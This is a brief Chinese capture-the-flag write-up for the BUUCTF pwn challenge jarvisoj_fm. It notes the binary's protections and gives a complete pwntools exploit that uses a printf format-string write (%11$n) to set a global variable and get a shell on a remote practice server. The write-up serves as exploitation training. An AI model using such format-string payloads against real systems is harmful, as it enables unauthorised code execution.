BUUCTF-PWN-jarvisoj_fm
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位程序,小端序
开启部分RELRO-----got表可写
开启canary保护-----栈溢出需要绕过canary
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接
ida看伪代码
简单的代码,可知只要x=4就可获得shell
思路
用read函数输入一个字符串,之后printf格式化字符串漏洞实现任意地址修改,将x的值改为4
先找一下输入的buf是printf的第几个参数(第11个参数)
exp
from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'i386')
sh = remote('node4.buuoj.cn',26010)
x_addr = 0x804A02C
payload = flat([x_addr,'%11$n'])
sh.sendline(payload)
sh.interactive()
运行获得shell